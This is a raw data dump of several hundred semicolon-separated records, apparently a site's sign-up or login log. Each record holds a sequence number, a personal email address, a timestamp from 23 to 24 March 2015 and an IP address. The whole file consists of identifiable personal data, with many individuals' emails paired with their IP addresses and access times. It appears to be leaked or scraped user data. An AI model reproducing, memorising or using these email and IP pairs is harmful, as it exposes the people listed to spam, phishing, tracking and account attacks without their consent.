+6418;jessica.blot@outlook.fr;2015-03-23 11:04:38;213.44.49.148 +6419;pommery.marcel@libertysurf.fr;2015-03-23 11:11:47;88.160.102.60 +6420;florentmarie59@hotmail.fr;2015-03-23 11:11:57;78.211.144.119 +6421;florentmarie59@hotmail.fr;2015-03-23 11:16:00;78.211.144.119 +6422;mhbpoitiers@gmail.com;2015-03-23 11:33:53;77.152.247.242 +6423;louise.rapuc@gmail.com;2015-03-23 12:03:33;78.123.25.228 +6424;chris.5959@hotmail.fr;2015-03-23 12:50:17;78.228.168.31 +6425;delongphilippe@voila.fr;2015-03-23 13:04:03;78.126.52.157 +6426;valerie.vankeer@free.fr;2015-03-23 13:06:33;185.45.228.228 +6427;chris.5959@hotmail.fr;2015-03-23 13:22:38;78.228.168.31 +6428;lilymoxa@126.com;2015-03-23 13:29:59;111.68.4.28 +6429;solenn.plougoulm@gmail.com;2015-03-23 13:39:03;92.103.42.210 +6430;reypons01@yahoo.fr;2015-03-23 13:43:45;92.144.46.77 +6431;sylvie.albiac@gmail.com;2015-03-23 13:48:46;78.114.0.35 +6432;fanny.navarro@live.fr;2015-03-23 14:08:16;78.238.178.211 +6433;mvasseur@bluewin.ch;2015-03-23 14:26:11;85.218.52.42 +6434;virg.carillo@gmail.com;2015-03-23 14:28:51;194.8.148.31 +6435;virg.carillo@gmail.com;2015-03-23 14:28:56;194.8.148.31 +6436;new@garancia.com;2015-03-23 14:44:52;92.90.19.28 +6437;mallaurychaubet@yahoo.fr;2015-03-23 14:50:20;31.38.252.131 +6438;duckesbud@hotmail.com;2015-03-23 14:56:10;86.218.173.182 +6439;duckesbud@hotmail.com;2015-03-23 14:56:10;86.218.173.182 +6440;dariraph@hotmail.com;2015-03-23 15:04:24;91.176.76.133 +6441;dariraph@hotmail.com;2015-03-23 15:04:25;91.176.76.133 +6442;denis.marietta.maillet@orange.fr;2015-03-23 15:34:22;90.45.92.211 +6443;annabelledurastanti@gmail.com;2015-03-23 15:37:48;90.37.169.32 +6444;annabelledurastanti@gmail.com;2015-03-23 15:37:51;90.37.169.32 +6445;annabelledurastanti@gmail.com;2015-03-23 15:37:59;90.37.169.32 +6446;annabelledurastanti@gmail.com;2015-03-23 15:38:02;90.37.169.32 +6447;stella.barre.gaston2000@gmail.com;2015-03-23 15:48:11;109.220.56.208 +6448;anabel.gonzalez66@yahoo.fr;2015-03-23 15:55:50;178.50.86.219 +6449;anabel.gonzalez66@yahoo.fr;2015-03-23 15:55:54;178.50.86.219 +6450;MAGANDRA@HOTMAIL.COM;2015-03-23 16:15:02;78.206.196.178 +6451;pharmaciedelacavalerie@offisecure.com;2015-03-23 16:20:23;194.8.148.14 +6452;claudine.grassi@carpentras.fr;2015-03-23 16:52:24;37.58.148.116 +6453;agogulski26@gmail.com;2015-03-23 16:58:16;92.90.20.47 +6454;reginevax@hotmail.fr;2015-03-23 17:01:13;88.175.48.173 +6455;gauche.brigitte@wanadoo.fr;2015-03-23 17:11:23;83.197.77.38 +6456;sisss@orange.fr;2015-03-23 17:22:51;82.66.128.214 +6457;sissss@orange.Fr;2015-03-23 17:26:57;82.66.128.214 +6458;cahheir@aol.com;2015-03-23 17:35:16;80.119.226.89 +6459;daniele.stadler@rorange.fr;2015-03-23 17:40:21;86.197.182.90 +6460;daniele.stadler@rorange.fr;2015-03-23 17:40:45;86.197.182.90 +6461;daniele.stadler@orange.fr;2015-03-23 17:41:44;86.197.182.90 +6462;daniele.stadler@orange.fr;2015-03-23 17:41:44;86.197.182.90 +6463;lilas.pimprenelle@live.fr;2015-03-23 18:01:28;81.56.198.40 +6464;lilas.pimprenelle@live.fr;2015-03-23 18:01:31;81.56.198.40 +6465;lilas.pimprenelle@live.fr;2015-03-23 18:01:37;81.56.198.40 +6466;lilas.pimprenelle@live.fr;2015-03-23 18:02:04;81.56.198.40 +6467;lilas.pimprenelle@live.fr;2015-03-23 18:02:11;81.56.198.40 +6468;lilas.pimprenelle@live.fr;2015-03-23 18:02:31;81.56.198.40 +6469;gammeauvert@free.fr;2015-03-23 18:03:05;81.56.198.40 +6470;isabel-1@bluewin.ch;2015-03-23 18:05:42;84.227.65.158 +6471;m.mijon@yahoo.fr;2015-03-23 18:15:45;83.205.96.151 +6472;dom2f@orange.fr;2015-03-23 18:18:27;86.197.163.62 +6473;dom2f@orange.fr;2015-03-23 18:19:00;86.197.163.62 +6474;cebe@hotmail.es;2015-03-23 18:19:56;81.45.54.185 +6475;cebe@hotmail.es;2015-03-23 18:20:05;81.45.54.185 +6476;janpol.berthier@orange.fr;2015-03-23 18:27:33;86.197.106.19 +6477;janpol.berthier@orange.fr;2015-03-23 18:27:38;86.197.106.19 +6478;jessy.nat@hotmail.fr;2015-03-23 19:00:30;80.12.213.40 +6479;chtiej@ms.com;2015-03-23 19:30:15;149.154.237.29 +6480;chtiej@ms.com;2015-03-23 19:30:19;149.154.237.29 +6481;chtiej@ms.com;2015-03-23 19:30:27;149.154.237.29 +6482;burgerchantal646@gmail.com;2015-03-23 19:33:49;46.235.180.106 +6483;burgerchantal646@gmail.com;2015-03-23 19:38:40;46.235.180.106 +6484;rtri49@free.fr;2015-03-23 20:30:38;78.198.60.3 +6485;laeticelya@gmail.com;2015-03-23 20:40:20;78.112.27.29 +6486;laeticelya@gmail.com;2015-03-23 20:40:24;78.112.27.29 +6487;laeticelya83@gmail.com;2015-03-23 20:40:40;78.112.27.29 +6488;jonathan.federspiel@gmail.com;2015-03-23 20:50:58;92.148.226.212 +6489;jonathan.federspiel@gmail.com;2015-03-23 20:51:54;92.148.226.212 +6490;corine054@orange.fr;2015-03-23 20:55:07;92.152.98.180 +6491;delph.la.blonde@hotmail.fr;2015-03-23 20:55:26;109.10.237.188 +6492;vb.elodie78@gmail.com;2015-03-23 20:55:48;77.195.232.249 +6493;vb.elodie78@gmail.com;2015-03-23 20:55:48;77.195.232.249 +6494;vb.elodie78@gmail.com;2015-03-23 20:55:54;77.195.232.249 +6495;vb.elodie78@gmail.com;2015-03-23 20:56:10;77.195.232.249 +6496;reliance.anne@gmail.com;2015-03-23 21:17:39;81.247.37.82 +6497;reliance.anne@gmail.com;2015-03-23 21:17:59;81.247.37.82 +6498;aubert.elodie@hotmail.fr;2015-03-23 21:18:21;82.124.91.49 +6499;aubert.elodie@hotmail.fr;2015-03-23 21:18:25;82.124.91.49 +6500;aubert.elodie@hotmail.fr;2015-03-23 21:18:30;82.124.91.49 +6501;latte.feng@gmail.com;2015-03-23 21:38:08;125.70.59.104 +6502;latte.feng@gmail.com;2015-03-23 21:38:12;125.70.59.104 +6503;latte.feng@gmail.com;2015-03-23 21:38:15;125.70.59.104 +6504;hervine.lemaillot@wanadoo.fr;2015-03-23 21:38:25;2.13.50.134 +6505;ysegura@laposte.net;2015-03-23 22:22:07;87.89.42.127 +6506;ysegura@laposte.net;2015-03-23 22:22:14;87.89.42.127 +6507;ysegura@laposte.net;2015-03-23 22:22:22;87.89.42.127 +6508;ysegura@laposte.net;2015-03-23 22:22:57;87.89.42.127 +6509;emmaricard@hotmail.com;2015-03-23 22:31:40;89.91.215.91 +6510;cigonio@hotmail.com;2015-03-23 22:39:19;176.183.47.200 +6511;cigonio@hotmail.com;2015-03-23 22:39:27;176.183.47.200 +6512;cigonio@hotmail.com;2015-03-23 22:39:32;176.183.47.200 +6513;cigonio@hotmail.com;2015-03-23 22:39:42;176.183.47.200 +6514;bidautanissa@hotmail.fr;2015-03-23 22:51:16;109.24.216.209 +6515;bidautanissa@hotmail.fr;2015-03-23 22:51:20;109.24.216.209 +6516;Archimagsuquet@aol.com;2015-03-23 22:59:24;77.130.248.217 +6517;Archimagsuquet@aol.com;2015-03-23 22:59:33;77.130.248.217 +6518;Archimagsuquet@aol.com;2015-03-23 22:59:40;77.130.248.217 +6519;Archimagsuquet@aol.com;2015-03-23 22:59:41;77.130.248.217 +6520;sabine.ledastumer@wanadoo.fr;2015-03-23 23:28:23;83.199.121.114 +6521;sabine.ledastumer@wanadoo.fr;2015-03-23 23:28:33;83.199.121.114 +6522;sabine.ledastumer@wanadoo.fr;2015-03-23 23:29:11;83.199.121.114 +6523;sabine.ledastumer@wanadoo.fr;2015-03-23 23:29:18;83.199.121.114 +6524;i@hotmail.com;2015-03-24 00:29:43;184.161.134.67 +6525;sojaol22@gmail.com;2015-03-24 00:48:15;78.232.244.160 +6526;sojaol22@gmail.com;2015-03-24 00:48:41;78.232.244.160 +6527;sojaol22@gmail.com;2015-03-24 00:49:26;78.232.244.160 +6528;sojaol22@gmail.com;2015-03-24 00:49:33;78.232.244.160 +6529;sojaol22@gmail.com;2015-03-24 00:49:49;78.232.244.160 +6530;sojaol22@gmail.com;2015-03-24 00:49:50;78.232.244.160 +6531;cricici@yahoo.com;2015-03-24 02:29:53;178.164.80.58 +6532;cricici@yahoo.com;2015-03-24 02:29:58;178.164.80.58 +6533;aurelie.amouret@yahoo.fr;2015-03-24 05:15:12;80.12.100.146 +6534;aurelie.amouret@yahoo.fr;2015-03-24 05:15:16;80.12.100.146 +6535;aurelie.amouret@yahoo.fr;2015-03-24 05:16:48;80.12.59.166 +6536;new@garancia.com;2015-03-24 05:32:26;80.12.59.166 +6537;new@garancia.com;2015-03-24 05:32:35;80.12.59.166 +6538;new@garancia.com;2015-03-24 05:32:41;80.12.59.166 +6539;new@garancia.com;2015-03-24 05:33:05;80.12.35.17 +6540;new@garancia.com;2015-03-24 05:34:41;80.12.35.17 +6541;new@garancia.com;2015-03-24 05:38:25;80.12.35.17 +6542;new@garancia.com;2015-03-24 05:38:47;80.12.35.17 +6543;Isabellemax@hotmail.fr;2015-03-24 05:45:58;31.39.103.28 +6544;Isabellemax@hotmail.fr;2015-03-24 05:46:04;31.39.103.28 +6545;lynx.ksc@wanadoo.fr;2015-03-24 07:07:31;83.198.122.182 +6546;a.atelin@gmail.com;2015-03-24 07:22:18;193.51.226.199 +6547;agnes.chauvin1@laposte.net;2015-03-24 07:23:43;89.88.217.30 +6548;simone.flan@gmail.com;2015-03-24 07:25:45;86.207.71.170 +6549;new@garancia.com;2015-03-24 07:53:30;90.59.160.172 +6550;new@garancia.com;2015-03-24 07:53:32;90.59.160.172 +6551;new@garancia.com;2015-03-24 07:57:12;90.59.160.172 +6552;new@garancia.com;2015-03-24 08:00:03;90.59.160.172 +6553;new@garancia.com;2015-03-24 08:00:05;90.59.160.172 +6554;new@garancia.com;2015-03-24 08:06:10;90.59.160.172 +6555;new@garancia.com;2015-03-24 08:06:12;90.59.160.172 +6556;new@garancia.com;2015-03-24 08:07:06;90.59.160.172 +6557;new@garancia.com;2015-03-24 08:07:09;90.59.160.172 +6558;new@garancia.com;2015-03-24 08:07:11;90.59.160.172 +6559;new@garancia.com;2015-03-24 08:07:12;90.59.160.172 +6560;new@garancia.com;2015-03-24 08:07:12;90.59.160.172 +6561;new@garancia.com;2015-03-24 08:07:15;90.59.160.172 +6562;new@garancia.com;2015-03-24 08:07:19;90.59.160.172 +6563;new@garancia.com;2015-03-24 08:11:33;90.96.10.221 +6564;new@garancia.com;2015-03-24 08:11:36;90.96.10.221 +6565;new@garancia.com;2015-03-24 08:11:38;90.96.10.221 +6566;slautaret05@gmail.com;2015-03-24 08:12:25;92.157.31.125 +6567;slautaret05@gmail.com;2015-03-24 08:12:29;92.157.31.125 +6568;slautaret05@gmail.com;2015-03-24 08:12:33;92.157.31.125 +6569;new@garancia.com;2015-03-24 08:12:41;90.59.160.172 +6570;new@garancia.com;2015-03-24 08:12:43;90.59.160.172 +6571;new@garancia.com;2015-03-24 08:12:46;90.59.160.172 +6572;slautaret05@gmail.com;2015-03-24 08:12:49;92.157.31.125 +6573;fabienne.plouchard@orange.fr;2015-03-24 08:16:04;92.150.196.173 +6574;fabienne.plouchard@orange.fr;2015-03-24 08:16:10;92.150.196.173 +6575;new@garancia.com;2015-03-24 08:27:15;90.59.160.172 +6576;new@garancia.com;2015-03-24 08:27:16;90.59.160.172 +6577;new@garancia.com;2015-03-24 08:28:46;90.59.160.172 +6578;aurelie.amouret@yahoo.fr;2015-03-24 08:58:16;90.59.160.172 +6579;aurelie.amouret@yahoo.fr;2015-03-24 09:01:00;90.59.160.172 +6580;jmc57000@hotmail.com;2015-03-24 09:48:35;77.128.5.207 +6581;jmc57000@hotmail.com;2015-03-24 09:49:07;77.128.5.207 +6582;jmc57000@hotmail.com;2015-03-24 09:49:32;77.128.5.207 +6583;new@garancia.com;2015-03-24 09:49:51;77.128.5.207 +6584;new@garancia.com;2015-03-24 09:50:43;77.128.5.207 +6585;new@garancia.com;2015-03-24 09:50:47;77.128.5.207 +6586;new@garancia.com;2015-03-24 09:50:54;77.128.5.207 +6587;new@garancia.com;2015-03-24 09:51:00;77.128.5.207 +6588;new@garancia.com;2015-03-24 09:51:48;77.128.5.207 +6589;new@garancia.com;2015-03-24 09:52:40;77.128.5.207 +6590;new@garancia.com;2015-03-24 09:52:44;77.128.5.207 +6591;mhbpoitiers@gmail.com;2015-03-24 10:02:58;77.152.247.242 +6592;priscilladuchene@gmail.com;2015-03-24 10:05:40;93.25.117.168 +6593;agnes.trouve0715@orange.fr;2015-03-24 10:17:14;109.209.143.200 +6594;agnes.trouve0715@orange.fr;2015-03-24 10:17:18;109.209.143.200 +6595;agnes.trouve0715@orange.fr;2015-03-24 10:17:34;109.209.143.200 +6596;bexetcie@hotmail.fr;2015-03-24 10:19:27;91.151.76.100 +6597;ou-lalalala@hotmail.fr;2015-03-24 10:27:07;89.85.38.146 +6598;evelynemaigrat@yahoo.fr;2015-03-24 10:45:57;78.238.72.130 +6599;m.marechal@numericable.fr;2015-03-24 11:00:09;81.67.227.226 +6600;m.marechal@numericable.fr;2015-03-24 11:00:09;81.67.227.226 +6601;joss.chatelain@sunrise.ch;2015-03-24 11:12:36;188.155.120.95 +6602;joss.chatelain@sunrise.ch;2015-03-24 11:12:42;188.155.120.95 +6603;joss.chatelain@sunrise.ch;2015-03-24 11:12:43;188.155.120.95 +6604;joss.chatelain@sunrise.ch;2015-03-24 11:12:57;188.155.120.95 +6605;martinepech@gmail.com;2015-03-24 11:19:11;213.56.66.97 +6606;martinepech@gmail.com;2015-03-24 11:19:14;213.56.66.97 +6607;sabinefacchin@gmail.com;2015-03-24 11:49:40;80.14.144.55 +6608;joelle.hoarau@gmail.com;2015-03-24 12:01:09;195.83.191.2 +6609;nolwennpoignant@hotmail.com;2015-03-24 12:11:33;92.90.26.48 +6610;nolwennpoignant@hotmail.com;2015-03-24 12:11:39;92.90.26.48 +6611;nolwennpoignant@hotmail.com;2015-03-24 12:11:58;92.90.26.48 +6612;nolwennpoignant@hotmail.com;2015-03-24 12:11:59;92.90.26.48 +6613;nolwennpoignant@hotmail.com;2015-03-24 12:12:05;92.90.26.48 +6614;nolwennpoignant@hotmail.com;2015-03-24 12:12:06;92.90.26.48 +6615;nolwennpoignant@hotmail.com;2015-03-24 12:12:07;92.90.26.48 +6616;nolwennpoignant@hotmail.com;2015-03-24 12:12:09;92.90.26.48 +6617;nolwennpoignant@hotmail.com;2015-03-24 12:12:10;92.90.26.48 +6618;nolwennpoignant@hotmail.com;2015-03-24 12:12:11;92.90.26.48 +6619;nolwennpoignant@hotmail.com;2015-03-24 12:12:13;92.90.26.48 +6620;nolwennpoignant@hotmail.com;2015-03-24 12:12:14;92.90.26.48 +6621;nolwennpoignant@hotmail.com;2015-03-24 12:12:15;92.90.26.48 +6622;nolwennpoignant@hotmail.com;2015-03-24 12:12:20;92.90.26.48 +6623;nolwennpoignant@hotmail.com;2015-03-24 12:12:43;92.90.26.48 +6624;lauracora@libero.it;2015-03-24 12:25:12;87.8.168.21 +6625;FGDFGDF@DFDF.GT;2015-03-24 12:25:41;90.83.134.221 +6626;mariannenouguez@gmail.com;2015-03-24 13:29:06;92.103.129.130 +6627;maroli66@aol.com;2015-03-24 13:51:58;109.29.235.204 +6628;catalinetta@hotmail.com;2015-03-24 13:55:46;193.48.245.123 +6629;hapiz66@gmail.com;2015-03-24 14:22:57;87.89.204.184 +6630;hapiz66@gmail.com;2015-03-24 14:22:57;87.89.204.184 +6631;helena.hoarau@hotmail.com;2015-03-24 14:31:27;89.90.32.178 +6632;helena.hoarau@hotmail.com;2015-03-24 14:31:32;89.90.32.178 +6633;helena.hoarau@hotmail.com;2015-03-24 14:31:45;89.90.32.178 +6634;helena.hoarau@hotmail.com;2015-03-24 14:31:46;89.90.32.178 +6635;helena.hoarau@hotmail.com;2015-03-24 14:32:04;89.90.32.178 +6636;durbida@hotmail.fr;2015-03-24 14:32:57;84.103.68.180 +6637;durbida@hotmail.fr;2015-03-24 14:33:03;84.103.68.180 +6638;durbida@hotmail.fr;2015-03-24 14:33:11;84.103.68.180 +6639;begoc-caroline@hotmail.fr;2015-03-24 14:33:13;78.223.33.190 +6640;durbida@hotmail.fr;2015-03-24 14:33:14;84.103.68.180 +6641;durbida@hotmail.fr;2015-03-24 14:33:15;84.103.68.180 +6642;durbida@hotmail.fr;2015-03-24 14:33:15;84.103.68.180 +6643;corinne.cordebeuf@laposte.net;2015-03-24 14:55:41;86.73.183.140 +6644;corinne.cordebeuf@laposte.net;2015-03-24 14:55:42;86.73.183.140 +6645;lili.samuel@hotmail.fr;2015-03-24 14:59:04;92.143.35.171 +6646;anne.chedorge-couly@bt.com;2015-03-24 15:10:00;195.171.36.105 +6647;jessica-pascal@hotmail.fr;2015-03-24 15:19:07;212.198.53.167 +6648;pharmasuraud@live.fr;2015-03-24 15:20:16;80.13.47.17 +6649;pharmasuraud@live.fr;2015-03-24 15:20:59;80.13.47.17 +6650;lgerondeau@gmail.com;2015-03-24 15:23:59;194.98.154.228 +6651;christine.ginieis@outlook.fr;2015-03-24 15:28:49;81.255.240.240 +6652;karine.andre29@orange.fr;2015-03-24 15:49:29;2.11.221.196 +6653;karine.andre29@orange.fr;2015-03-24 15:49:35;2.11.221.196 +6654;karine.andre29@orange.fr;2015-03-24 15:49:40;2.11.221.196 +6655;valourohmer@laposte.net;2015-03-24 16:09:25;86.235.136.123 +6656;fabienne.mogica@live.fr;2015-03-24 16:13:03;90.83.14.125 +6657;maryne-lyly@live.fr;2015-03-24 16:13:31;92.91.171.113 +6658;maryne-lyly@live.fr;2015-03-24 16:13:34;92.91.171.113 +6659;karinette6413@gmail.com;2015-03-24 16:14:36;80.215.178.161 +6660;laure.sanson49@gmail.com;2015-03-24 16:16:37;89.94.195.113 +6661;laure.sanson49@gmail.com;2015-03-24 16:16:40;89.94.195.113 +6662;kerimakim@yahoo.fr;2015-03-24 16:19:05;88.176.203.90 +6663;claude-servel@orange.fr;2015-03-24 16:19:09;86.202.85.217 +6664;lhoirie@wanadoo.fr;2015-03-24 16:19:46;90.12.25.175 +6665;caroline.poulain96@sfr.fr;2015-03-24 16:21:43;2.8.7.122 +6666;elodyelodie@yahoo.fr;2015-03-24 16:24:13;194.57.151.217 +6667;monsalcap@sfr.fr;2015-03-24 16:24:24;79.93.124.159 +6668;monsalcap@sfr.fr;2015-03-24 16:24:25;79.93.124.159 +6669;vtondeur@gmail.com;2015-03-24 16:24:30;80.15.17.31 +6670;sylvie.barral@sfr.fr;2015-03-24 16:24:34;109.25.96.133 +6671;estellegaujour@yahoo.fr;2015-03-24 16:24:44;80.12.55.175 +6672;estellegaujour@yahoo.fr;2015-03-24 16:24:54;80.12.55.175 +6673;estellegaujour@yahoo.fr;2015-03-24 16:24:58;80.12.55.175 +6674;estellegaujour@yahoo.fr;2015-03-24 16:24:59;80.12.55.175 +6675;estellegaujour@yahoo.fr;2015-03-24 16:25:01;80.12.55.175 +6676;estellegaujour@yahoo.fr;2015-03-24 16:25:04;80.12.55.175 +6677;estellegaujour@yahoo.fr;2015-03-24 16:25:16;80.12.55.175 +6678;leontine4312@yahoo.fr;2015-03-24 16:25:57;2.12.236.247 +6679;estellegaujour@yahoo.fr;2015-03-24 16:27:23;80.12.55.175 +6680;estellegaujour@yahoo.fr;2015-03-24 16:27:36;80.12.55.175 +6681;brigitte.palat@wanadoo.fr;2015-03-24 16:28:34;80.12.39.192 +6682;brigitte.palat@wanadoo.fr;2015-03-24 16:28:37;80.12.39.192 +6683;cosima_b@yahoo.fr;2015-03-24 16:32:13;193.51.83.9 +6684;liloo131@yahoo.com;2015-03-24 16:34:19;92.128.20.2 +6685;emilie_debels@hotmail.com;2015-03-24 16:34:25;90.28.79.175 +6686;emilie_debels@hotmail.com;2015-03-24 16:34:27;90.28.79.175 +6687;emilie_debels@hotmail.com;2015-03-24 16:34:30;90.28.79.175 +6688;emilie_debels@hotmail.com;2015-03-24 16:34:34;90.28.79.175 +6689;emilie_debels@hotmail.com;2015-03-24 16:34:46;90.28.79.175 +6690;norman7556@gmail.com;2015-03-24 16:36:36;217.115.165.251 +6691;micky@flaoua.fr;2015-03-24 16:39:18;81.249.157.122 +6692;micky@flaoua.fr;2015-03-24 16:39:21;81.249.157.122 +6693;laetyleger@free.fr;2015-03-24 16:39:24;92.90.26.96 +6694;laetyleger@free.fr;2015-03-24 16:39:30;92.90.26.96 +6695;micky@flaoua.fr;2015-03-24 16:39:42;81.249.157.122 +6696;pm_pat13@yahoo.fr;2015-03-24 16:39:44;80.12.55.236 +6697;pm_pat13@yahoo.fr;2015-03-24 16:39:57;80.12.55.236 +6698;pm_pat13@yahoo.fr;2015-03-24 16:40:30;80.12.55.236 +6699;new@garancia.com;2015-03-24 16:41:24;90.28.79.175 +6700;new@garancia.com;2015-03-24 16:41:26;90.28.79.175 +6701;new@garancia.com;2015-03-24 16:41:28;90.28.79.175 +6702;cbourdon@live.fr;2015-03-24 16:42:46;80.12.35.47 +6703;cbourdon@live.fr;2015-03-24 16:42:51;80.12.35.47 +6704;cbourdon@live.fr;2015-03-24 16:42:54;80.12.35.47 +6705;nenelle84@outlook.fr;2015-03-24 16:43:33;92.158.222.47 +6706;joelle.hoarau@gmail.com;2015-03-24 16:45:44;195.83.191.2 +6707;56pharmacie@gmail.com;2015-03-24 16:45:49;193.251.88.113 +6708;56pharmacie@gmail.com;2015-03-24 16:46:34;193.251.88.113 +6709;deb_08@hotmail.com;2015-03-24 16:47:09;86.69.120.206 +6710;deb_08@hotmail.com;2015-03-24 16:47:16;86.69.120.206 +6711;deb_08@hotmail.com;2015-03-24 16:47:32;86.69.120.206 +6712;deb_08@hotmail.com;2015-03-24 16:47:46;86.69.120.206 +6713;56pharmacie@gmail.com;2015-03-24 16:48:02;193.251.88.113 +6714;new@garancia.com;2015-03-24 16:51:28;81.249.157.122 +6715;new@garancia.com;2015-03-24 16:51:31;81.249.157.122 +6716;new@garancia.com;2015-03-24 16:51:33;81.249.157.122 +6717;new@garancia.com;2015-03-24 16:51:42;81.249.157.122 +6718;marine4218@hotmail.fr;2015-03-24 16:52:41;78.233.204.127 +6719;ominimum@hotmail.fr;2015-03-24 16:52:54;80.215.194.66 +6720;ominimum@hotmail.fr;2015-03-24 16:52:59;80.215.194.66 +6721;marine4218@hotmail.fr;2015-03-24 16:52:59;78.233.204.127 +6722;marine4218@hotmail.fr;2015-03-24 16:53:02;78.233.204.127 +6723;ominimum@hotmail.fr;2015-03-24 16:53:04;80.215.194.66 +6724;marine4218@hotmail.fr;2015-03-24 16:53:04;78.233.204.127 +6725;marine4218@hotmail.fr;2015-03-24 16:53:10;78.233.204.127 +6726;juliette.scherer@gmail.com;2015-03-24 16:55:45;167.64.72.10 +6727;mlionet@hotmail.com;2015-03-24 16:57:02;81.93.22.11 +6728;clotilde.capelle@orange.fr;2015-03-24 16:58:17;109.24.194.247 +6729;lecoindhiver@yahoo.fr;2015-03-24 17:00:04;62.35.191.136 +6730;new@garancia.com;2015-03-24 17:02:14;80.215.194.66 +6731;new@garancia.com;2015-03-24 17:02:18;80.215.194.66 +6732;charlotte.cukierman@gmail.com;2015-03-24 17:03:22;77.196.22.25 +6733;charlotte.cukierman@gmail.com;2015-03-24 17:03:33;77.196.22.25 +6734;laure.arnail@wanadoo.fr;2015-03-24 17:03:50;82.127.146.197 +6735;laure.arnail@wanadoo.fr;2015-03-24 17:03:50;82.127.146.197 +6736;aude.tillette@gmail.com;2015-03-24 17:04:09;89.93.240.86 +6737;sophieallaire@hotmail.fr;2015-03-24 17:04:44;90.54.190.238 +6738;missdarvishi@yahoo.com;2015-03-24 17:04:53;193.49.48.244 +6739;joly.sandrine@gmail.com;2015-03-24 17:05:50;78.250.103.115 +6740;martine.blottin@orange.fr;2015-03-24 17:24:18;90.55.181.19 +6741;queen.mlie@gmail.com;2015-03-24 17:24:44;37.164.19.90 +6742;queen.mlie@hotmail.fr;2015-03-24 17:24:55;37.164.19.90 +6743;m-li@live.fr;2015-03-24 17:25:18;37.164.19.90 +6744;anne.puybasset@wanadoo.fr;2015-03-24 17:27:05;92.132.217.199 +6745;anne.puybasset@wanadoo.fr;2015-03-24 17:27:18;92.132.217.199 +6746;anne.puybasset@wanadoo.fr;2015-03-24 17:27:22;92.132.217.199 +6747;blabla3@gmail.com;2015-03-24 17:27:37;80.215.198.90 +6748;blabla3@gmail.com;2015-03-24 17:27:39;80.215.198.90 +6749;blabla3@gmail.com;2015-03-24 17:27:43;80.215.198.90 +6750;blabla3@gmail.com;2015-03-24 17:27:47;80.215.198.90 +6751;blabla3@gmail.com;2015-03-24 17:27:53;80.215.198.90 +6752;blab@gmail.com;2015-03-24 17:28:04;80.215.198.90 +6753;amelieperis@gmail.com;2015-03-24 17:34:04;78.125.165.133 +6754;chantal.courtaut-lihua@sfr.fr;2015-03-24 17:36:41;84.97.142.101 +6755;chantal.courtaut-lihua@sfr.fr;2015-03-24 17:38:14;84.97.142.101 +6756;coqzaza@infonie.fr;2015-03-24 17:41:52;88.189.237.142 +6757;janssens.phillippe@skynet.be;2015-03-24 17:49:26;81.242.140.234 +6758;betty_boop56@hotmail.fr;2015-03-24 18:07:15;90.32.64.77 +6759;citadinette@gmail.com;2015-03-24 18:07:15;90.2.24.153 +6760;citadinette@gmail.com;2015-03-24 18:07:32;90.2.24.153 +6761;magdalenita@hotmail.fr;2015-03-24 18:08:34;78.29.237.245 +6762;magdalenita@hotmail.fr;2015-03-24 18:08:43;78.29.237.245 +6763;red-cerise@hotmail.fr;2015-03-24 18:10:54;92.132.107.253 +6764;red-cerise@hotmail.fr;2015-03-24 18:10:57;92.132.107.253 +6765;red-cerise@hotmail.fr;2015-03-24 18:11:03;92.132.107.253 +6766;kahina_pharma@hotmail.fe;2015-03-24 18:12:30;37.161.201.13 +6767;kahina_pharma@hotmail.fr;2015-03-24 18:12:34;37.161.201.13 +6768;kahina_pharma@hotmail.fr;2015-03-24 18:12:44;37.161.201.13 +6769;kahina_pharma@hotmail.fr;2015-03-24 18:12:52;37.161.201.13 +6770;sabrina.messaoudi@gmail.com;2015-03-24 18:15:32;81.255.178.243 +6771;veronique.roth@yahoo.com;2015-03-24 18:17:10;82.226.51.211 +6772;veronique.roth@yahoo.com;2015-03-24 18:20:06;82.226.51.211 +6773;veronique.roth@yahoo.com;2015-03-24 18:20:20;82.226.51.211 +6774;veronique.roth@yahoo.com;2015-03-24 18:20:56;82.226.51.211 +6775;gablau2808@gmail.com;2015-03-24 18:34:03;37.162.184.86 +6776;gablau2808@gmail.com;2015-03-24 18:34:10;37.162.184.86 +6777;kahina_pharma@hotmail.fr;2015-03-24 18:36:39;193.251.85.47 +6778;valet.bruno@perso.alliadis.net;2015-03-24 18:36:55;194.5.134.161 +6779;veroaudinette@aol.com;2015-03-24 18:38:40;93.0.120.42 +6780;Kaefferml@free.fr;2015-03-24 18:40:14;88.187.50.252 +6781;dupuy.jennifer@gmail.com;2015-03-24 18:41:05;82.123.37.151 +6782;cecilepoisotmandart@gmail.com;2015-03-24 18:45:15;2.8.233.173 +6783;cecilepoisotmandart@gmail4.com;2015-03-24 18:45:31;2.8.233.173 +6784;cecilepoisotmandart@gmail.com;2015-03-24 18:45:49;2.8.233.173 +6785;cecilepoisotmandart@gmail.com;2015-03-24 18:46:25;2.8.233.173 +6786;cecilepoisot@orange.fr;2015-03-24 18:47:12;2.8.233.173 +6787;cecilepoisot@orange.fr;2015-03-24 18:47:16;2.8.233.173 +6788;cecilepoisot@orange.fr;2015-03-24 18:47:16;2.8.233.173 +6789;cecilepoisot@orange.fr;2015-03-24 18:47:17;2.8.233.173 +6790;cecilepoisot@orange.fr;2015-03-24 18:47:31;2.8.233.173 +6791;soraya.denoor@gmail.com;2015-03-24 18:47:49;82.232.22.238 +6792;c_chavatte@orange.fr;2015-03-24 18:49:53;83.205.143.90 +6793;rachelmenard34@gmail.com;2015-03-24 18:55:52;37.174.70.112 +6794;rachelmenard34@gmail.com;2015-03-24 18:55:57;37.174.70.112 +6795;guitoubrethome@hotmail.fr;2015-03-24 18:56:42;83.203.234.51 +6796;Kaefferml@free.fr;2015-03-24 19:01:05;88.187.50.252 +6797;Kaefferml@free.fr;2015-03-24 19:02:13;88.187.50.252 +6798;anngabi@gmail.com;2015-03-24 19:07:25;78.244.33.12 +6799;r.et.r@free.fr;2015-03-24 19:14:36;80.12.39.210 +6800;r.et.r@free.fr;2015-03-24 19:14:42;80.12.39.210 +6801;r.et.r@free.fr;2015-03-24 19:14:59;80.12.39.210 +6802;r.et.r@free.fr;2015-03-24 19:14:59;80.12.39.210 +6803;r.et.r@free.fr;2015-03-24 19:15:00;80.12.39.210 +6804;r.et.r@free.fr;2015-03-24 19:15:00;80.12.39.210 +6805;corinnetouvrey@orange.fr;2015-03-24 19:17:38;81.51.67.232 +6806;anne.defrance@outlook.fr;2015-03-24 19:20:50;90.39.212.199 +6807;anne.defrance@outlook.fr;2015-03-24 19:20:52;90.39.212.199 +6808;mahu.claudine@orange.fr;2015-03-24 19:23:17;81.249.130.82 +6809;muriel.bacchin@gmail.com;2015-03-24 19:25:33;176.184.60.34 